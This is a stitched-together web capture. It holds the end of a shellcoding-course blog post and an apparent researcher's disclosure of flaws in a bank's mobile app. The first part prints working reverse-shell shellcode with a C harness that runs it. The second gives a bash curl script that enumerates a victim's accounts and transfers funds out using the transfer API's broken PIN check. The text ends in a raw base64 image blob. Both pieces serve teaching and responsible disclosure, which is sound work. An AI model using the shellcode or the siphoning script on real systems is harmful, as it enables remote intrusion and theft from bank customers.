And now we move on to redirecting the local application’s  _stdin_ and
_stdout_ file descriptors into the socket associated with the IP and port we
just connected to:

<img src='img/fig122.png' width='229' height='137' alt='fig12.png' />

Figure 6

This code has also been explained in the TCP bind shell post.

Now, the authentication code.

<img src='img/fig71.png' width='357' height='237' alt='fig7.png' />

Figure 7 – authentication section

The only change here from the TCP bind shell is the improvement I mentioned of
replacing the _mov r64,r64_ to a  _push r64_ and _pop r64_. This same
improvement was made on the _execve_ syscall itself:

<img src='img/fig81.png' width='322' height='248' alt='fig8.png' />

Figure 8 – execve code

And it’s done\!

We now compile the code:

> nasm -f elf64 RevShell.nasm -o RevShell.o && ld RevShell.o -o RevShell
To try the shellcode, we extract the opcode in hexadecimal format using some
command line nijutsu:

> for i in \`objdump -d RevShell | tr ‘\t’ ‘ ‘ | tr ‘ ‘ ‘\n’ | egrep ‘^\[0-9a-f\]\{2\}$’ \` ; do echo -n “\x$i” ; done
The output will be placed inside the following array in C code:

> \#include<stdio.h>  
>  \#include<string.h>  
>  unsigned char code\[\] = \  
>
> “\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\x52\x48\xbb\xfd\xff\xee\xa3\x80\xff\xff\xfe\x48\xf7\xd3\x53\x54\x5e\xb0\x2a\xb2\x10\x0f\x05\x6a\x03\x5e\xb0\x21\xff\xce\x0f\x05\xe0\xf8\x48\x31\xff\x50\x54\x5e\xb2\x08\x0f\x05\x48\x91\x48\xbb\x31\x32\x33\x34\x35\x36\x37\x0a\x53\x54\x5f\xf3\xa6\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05\x90”;  
>  main\(\)  
>  \{  
>  printf\(“Shellcode Length: %d\n”, \(int\)strlen\(code\)\);  
>  int \(\*ret\)\(\) = \(int\(\*\)\(\)\)code;  
>  ret\(\);  
>  \}
Which will then be compiled with:

> gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
And execute it:

<img src='img/fig93.png' width='725' height='73' alt='fig9' />

Figure 9 – shellcode execution \(104 bytes long\)

<img src='img/fig1011.png' width='725' height='154' alt='fig10' />

Figure 10 – Attacker listening to port 4444 and getting the connection from
the shellcode

You can find all the files on my gitlab account.

On a personal note, just want to give a huge thanks to Vivek Ramachandran and
the Pentester Academy team, as I have enjoyed every second of this course
since I’ve learned so many interesting things. Thank you\!

* * *
This blog post has been created for completing the requirements of the
SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/x8664-assembly-and-
shellcoding-on-linux/index.html

**Student ID: PA-2109**

### Share this:

  * Click to share on Twitter \(Opens in new window\)
  * 1K+Share on Facebook \(Opens in new window\)1K+
  * Click to share on Google+ \(Opens in new window\)
  * 

 Like

Be the first to like this.

  * Tagged:
  * assembly, 
  * linux, 
  * pentester academy, 
  * security tube, 
  * slae, 
  * slae64, 
  * tcp\_bind\_shell, 
  * x64

<img src='img/064068b9741f5fdc529d92771217fdee.jpg' width='80' height='80' />

## Published by 0x4ndr3

eWPTX, OSCP, Associate CISSP  View all posts by 0x4ndr3

  

# Boris-Info

**Created:**| _5/16/2016 3:44:02 PM_  
---|---  
**Updated:**| _7/20/2016 3:25:09 PM_  
**Author:**| __  
**Tags:**| __  
  

15 May 2016 • on security

  

The Bank Job

I've held an account in one of the largest public sector banks in India since
early 2007. Public Sector Banks \(Govt. run Banks\) in India are at least a
decade old when it comes to implementing cutting edge technology. In late
2015, my bank in collaboration with a vendor, released a Mobile Banking
application for Android, and iOS platforms. It was a typical Swedish Winter
weekend with no signs of sunshine. So I decided to stay indoors, and poke
around this App.

  

**0x0 The Setup**

  

I used my iPhone 6 as a test bed for the App. Although initial thoughts were
to go with Android, but then I remembered my frustrations from the last time
when I wanted to install a self-signed cert \(for Burp Proxy\), Android
wouldn't stop complaining. I know it is a good thing, to be constantly
reminded that a self-signed third party cert has been added to your device's
trust store, but sometimes you indeed are required to install such self-signed
certs \(in a corporate environment or test?\) because, cost, Duh\!, and you
don't want to see that pesky **" Your communications can be monitored"**
message everyday \[Note: This was before **Let 's Encrypt** GA\]. Hence the
iOS choice. My MacBook Pro running Burp was used as a proxy server.

  

**0x01 SSLv3.0: Are you kidding me**

  

Initial request interception on burp showed the hostname and port, the app was
connecting to. It was a middleware application, which made sense because every
bank has their own core-banking software from large vendors like **TCS
\(Bancs\), Infosys \(Finacle\), or Oracle Finance \(Flexcube\)**. Since this
mobile banking application was developed by a different vendor, it makes sense
to limit the exposure of their core-banking APIs. Playing a bit with OpenSSL
showed that the middleware uses SSL3.0, and can also be forced down to SSL2.0.

  

I tried to install a self-signed certificate, to capture the plain text
request/response on Burp, and it worked like a charm. Which means, no
certificate pinning. Considering this is a mobile banking application, lack of
certificate pinning is an **epic failure**.

  

**0x02 Session IDs: All are welcome Unlimited, and Immortal**

  

This, clearly seems to be a case of an incorrect requirement specification in
combination with careless architecture, or sloppy code review. The first
request the app makes is to check if there is an update available. This
happens even before you login into your account.

  

<img src='f2ab0b3eca79d082ffa63b67dec6b684' alt='Session IDs' />

This update check request yields a session ID, which can be reused to make
real requests \(such as Check Account Balance, List Deposits\) that must be
otherwise possible to do only after an user logs in. This essentially bypasses
the login password. Below is an image where I crafted a request to display all
my accounts without authenticating. And did I say, **the session IDs live
forever?** Read on.

  

<img src='865280cc947209b3594e68481d2c227a' alt='Auth Bypass' />

**0x03 Session IDs: Unlimited, and Immortal**

  

While I was playing with the app, The UI threw a pop up \(when an idle timer
was about to expire?\), asking if I wanted to renew the session, or terminate
it. Nothing wrong with the solution, but with the countdown timer displayed on
the app, it seemed too sketchy, I wanted to know if there was a actual session
timer in the backend, which automatically invalidate the session, or is it
possible only through the App's front end interface callback.

  

My instinct was right. There were no session invalidation controls on the
backend. So, unless the App manually invoked the session destroy API, your
session IDs live forever.

  

**0x04 Front end Validation: Phew**

  

I tested the validation of App's receiver account validation control. The
**receiver account** in a transaction must already exist in the beneficiary
accounts list. If it isn't in the beneficiary list, the "Transfer Funds"
screen would throw an error, asking you to add the receiver's account to your
beneficiary list. Adding a new "receiver account" to the beneficiary list
would require the Transaction Authorisation PIN \(MTPIN - more on this in 0x05
\).

  

At this point, it wasn't a surprise to me that this validation was also done
on the App's front end. So invoking the fund transfer API call directly via
CURL, bypassed the receiver/beneficiary account validation. I was able to
transfer money to accounts that wasn't on my beneficiary list. There were a
bunch of hyper critical controls that I wanted to test \(Account Balance
validation while transferring funds, Fund Transfer Limitation\), but that
would have been outright illegal. So I had to skip it.

  

\(From the response I received from the bank, it seemed that all these hyper
critical controls indeed had front end validation\).

  

**0x05 All your money are belong to us**

  

I had enough to write a PoC that would be classified with a Mid to High
Severity rating. With 0x02, and 0x03, it was a matter of 5 lines of code to
enumerate the bank's customer records \(Current Account Balance, and
Deposits\).

  

I dug deeper once again, before starting to write a PoC, which was when I hit
a gold mine.

  

Before going any deeper, I will explain the authentication mechanism of this
Application.

  

There are two PINs \(Authentication PIN \[**MPIN**\], Transaction
Authorisation PIN \[**MTPIN**\]\). As the name suggest, you use MPIN for
login, and MTPIN for critical controls such as adding a receiver account
number to the beneficiary list, or transferring funds, creating a new fixed
deposit, closing an existing fixed deposit. The username for this Application
is your Customer ID \[**CID**\].

  

Now a valid fund transfer request would look like this

  

"mobileAppVersion=x.x.x&MTPIN==XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&channel=rc  
&entityId=XXX&beneficiaryAccount=123456789&serviceID=fundTransfer&appID=XXXXXXXX  
&txn\_amount=100000&customerId=1337&transferType=XXXX&appVer=x.x.x&platform=iPhone  
&mobPlatform=iPhone&remarks=tt&accountNo=987654321"  

  

In the above request, Sender \(AC No: 987654321\) is trying to send 100,000 to
a beneficiary \(AC No: 123456789\).

  

Once the request is deserialized, it is passed on to a function like this

  

bool validateAuthenticator\(uint64\_t decodedMTPIN, uint64\_t customerId\)  
\{  
    bool result = false;  
    if \(getMTPINFromCustomerId\(customerId\) == decodedMTPIN\)  
    \{  
        result = true;  
    \}  
    return result;  
\}  

  

Did you spot the bug?

  

The problem was, the validateAuthenticator function checks if a given MTPIN
matches with the MTPIN associated with the supplied customer ID, both of which
are obtained from the \(user initiated fund transfer\) request which the App
sends. There were **no checks to see if the given customer ID, or the MTPIN
actually belong to the sender 's account**. So I was able to transfer money
from any source account to any destination account, using my own valid CID,
and MTPIN. I tested with a bunch of accounts belonging to my family. Few of
those accounts don't even have net banking or mobile backing activated. And it
all worked like a charm.

  

In the image below, the number next to my name, 1303 is the last 4 digits of
my customer ID, and list contains all the accounts I have associated with this
customer ID. \(SB - Savings Account, RIP - Sort of Fixed Deposits\).

  

<img src='c2d17d1a21276b459ee0a2e9501bd465' alt='My Accounts' />

Below is a successful transaction I made. You can see that I have created a
request with my customer ID, and my legitimate MTPIN, but the sender account
\(6254\) does not belong to me.

  

<img src='https://lh3.googleusercontent.com/l0sfQUCaptqTdU-
xROkfTW1Jm_uYdEUqdqeH_HxEq9KJnJ9ffT3yZa-rXOg-
DQ0HtjFgUs6FiOIvwQylvyO0LQ0xxq3o_h6ZjIuGk8iGs7LACuE4v0CFDBnN8nCSs_zzYtPHIYlpf9tFcty_6fx93ibTOcCrvJBRiglqCLLFAD6Nz9D_LBy1Q0X-NlE8h1cJu2Dncl8aPETyyR2Xr9TeMnkpJN7dTa6dFZDsfSSoKydSLga34wnfR6z_rXINoWwTKht4TpjaHnr8QgmHlIIQUREqRSuPYz3X6v5hu4_ygWdUyj34Rm6W0lYDy47ox7KHRKdJAabFU4ordRPTqKsMVA6PrcAa2d9FL8GP5zBgr7lu14zHPXYzkmrzjc7HXCspctN9qixJq3qj0qwdLA56mFkfDN4eqpeqY7_lt1HJ1Xm0UZnm5NgIiy-9rHT8TYZUaRq87KwCONo-
dmUXNEhVndsMoghP0C0eh3-9NSmSahsBp5iYbBVSkduqRcyJKQOUQ4BuzmJqzk9zc_fC8F0F9tV5VVB5iMgQ6oOLJ8wMZXMNOAr9PCLTgIRTl6BlrZtNy4VXr9wvyZW7d2QnujkvMkFEfOUSaC0=w1275-h245-no'
alt='Success' />

I quickly wrote a 13 liner to automate this in bash, so that the vendor or the
bank can test this out with their dummy accounts?

  

echo "Enter Victim's CIF"  
read vcif  
fetchVictimAccInfo=accountInfo=$\(curl --data
"channel=rc&entityId=XXX&clientAppVer=XXX&appID=XXXXXXXX&customerId=$vcif&  
            serviceID=fetchAllAccounts&mobPlatform=iPhone" -v -k
https://mobile.xxxxxxxxxx.com:8444/middleware/MWServlet\)  
            victimSbAccountNo=$\(echo $accountInfo | jq -r '.SB' | jq '.\[0\].accountno' | tr -d '"'\)  
echo "Obtained Victim's Savings Account Number: $victimSbAccountNo"  
echo "Enter Account Number to transfer the funds to: "  
read attackerAccountNo  
echo "Enter the amount to Siphon"  
read amount  
request="mobileAppVersion=1.1.2&MTPIN=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&channel=rc"\  
       
"&entityId=xxx&beneficiaryAccount=$attackerAccountNo&serviceID=fundTransfer"\  
       
"&appID=XXXXXXX&txn\_amount=$amount&customerId=XXXXXXXXXXX&transferType=XXXX"\  
        "&appver=1.1.2&platform=iPhone&mobPlatform=iPhone&remarks=FreeCharge"\  
        "&accountno=$victimSbAccountNo"  
dotransaction=$\(curl --data $request -v -k
https://mobile.xxxxxxxxxxx.com:8444/middleware/MWServlet\)  
echo $dotransaction  

  

**0x06 Notification: Total Pwnage**

  

The Mobile Banking solution provides an **instant notification via SMS** , to
the phone number tied up to the account in which a transaction is performed.
The problem with that is they've got it horrendously wrong again.

  

The code that sends the notification message is very similar to the previous
one.

  

bool sendNotification\(long unsigned int customerId, string notificationMsg\)  
\{  
    bool res = false;  
    long unsigned int mobileNumber =
getMobileNumberFromCustomerId\(customerId\);  
    if\(mobileNumber\)  
    \{  
        res = sendMsg\(mobileNumber\);  
    \}  
    return res;  
\}  

  

Similar to 0x05, the mobile number to which the notification has to be sent is
obtained from the customer id, instead of account number. Thus, when an
attacker steals money, from a victim's account the notification message is
delivered to the attacker, instead of the victim.

  

<img src='https://lh3.googleusercontent.com/gR74p7fROKxHQb-
imdbVKtlmtS2zB-0zKACtaTS5hO2JU9NyOk08_KtGqtYcuxZ8bgTozoAkrLh11il8L041iSSNa1dLmXrPloPP9p5oSnO1fJ1O_l_y1-Eu5Lr4jBVCxdHGT51eV19oGL1wbJa_PzsmPt7pSrwsatEgRAUFrniNb8HVCDolZv8zCEunKN53YVx19xNDTiBAjneh6aSWkjDDJN7E9Bwfili48LrsqgDzOv6EwVMiBrK3h27ugoGTDi
--
_beQG1CNIEsLTtEf2UOgn6rvdsHpC44S99APNbcp9zQmLghOPd6EkXodQbtqb9vL-D9IzJKTk91MnN59Q88nIHis1mI4Di2IPzGeGZgqkdubcyYVgENQlswMxWeyY344JHqSp-V7fV-
kIAVJryYPdUs4SkOb2cFSBH-tt1__u7PPXdniCaTRBpa61zKsyfBdo0maz15Vw-x4yQTE-
T_F3syD8fT926QVNEtXhweWDHUm0RMCyw2NWBOxd5ixPUQJBqC3CYTrZw0wpDNHRwY8g_PSGDB8ko2mZR-
JoJVSNNoNdkX1hxm8KPofo3cDjYCLyRmyeRNiwWzAk_rJQHcRfZPTt9k=w337-h600-no'
alt='Notification' />

The above image is a screen cap from my phone, which shows the notification of
the transaction done 0x05.

  

**0x07 Aftermath**

  

I wrote a PoC as fast as I could, and shot an email to a bunch of General
Managers, Deputy General Managers, IT Managers, Branch Managers on Nov 13,
2015. A week passed by, and no response. After 8 days, I had my first
unofficial confirmation from one of my contact \(Middle Manager at the same
bank\), that they were investigating this. Around the 9th/10th day, I had a
linkedIn visit from a VP of Engineering, at the vendor that developed this
App. Finally on the 12 day I got an official reply from the **Deputy General
Manager of IT**. He \(The Vendor?\) basically quoted my recommended mitigation
with what they were planning to do. It was a truly ecstatic, and scary moment
when I realized that I hit bull's eye. It took them 12 days to respond to an
e-mail saying **" Hey, your several billion worth deposits are at risk"**,
which was stunning.

  

I replied back to them to ask about when a fix would be released, and if they
had any bug bounty program. I knew it was far fetched, but this bank has about
**25 Billion USD** in Deposits \(2015 Data\). So why not. And as expected that
was the last time I heard back from them. No reply yet.

  

So there you go **Bug Bounty = 0$**. Welcome to India\!

  

<img src='3a6c04b4602e1efcd71072499b1ad39c' alt='Response 1' />

<img src='e7e6eb248c0b492a0cef787445fde596' alt='Response 2' />

iVBORw0KGgoAAAANSUhEUgAAAr8AAAJ0CAYAAAAbNkuZAAABfGlDQ1BJQ0MgUHJvZmlsZQAAKJFjYGAqSSwoyGFhYGDIzSspCnJ3UoiIjFJgv8PAzcDDIMRg
xSCemFxc4BgQ4MOAE3y7xsAIoi/rgsxK8/x506a1fP4WNq+ZclYlOrj1gQF3SmpxMgMDIweQnZxSnJwLZOcA2TrJBUUlQPYMIFu3vKQAxD4BZIsUAR0IZN8B
sdMh7A8gdhKYzcQCVhMS5AxkSwDZAkkQtgaInQ5hW4DYyRmJKUC2B8guiBvAgNPDRcHcwFLXkYC7SQa5OaUwO0ChxZOaFxoMcgcQyzB4MLgwKDCYMxgwWDLo
MjiWpFaUgBQ65xdUFmWmZ5QoOAJDNlXBOT+3oLQktUhHwTMvWU9HwcjA0ACkDhRnEKM/B4FNZxQ7jxDLX8jAYKnMwMDcgxBLmsbAsH0PA4PEKYSYyjwGBn5r
BoZt5woSixLhDmf8xkKIX5xmbARh8zgxMLDe+///sxoDA/skBoa/E////73o//+/i4H2A+PsQA4AJHdp4IxrEg8AAAIEaVRYdFhNTDpjb20uYWRvYmUueG1w
AAAAAAA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJYTVAgQ29yZSA1LjQuMCI+CiAgIDxyZGY6UkRGIHhtbG5zOnJkZj0i
aHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAg
ICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29t
L3RpZmYvMS4wLyI+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj42Mjg8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhl
bFhEaW1lbnNpb24+NzAzPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
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
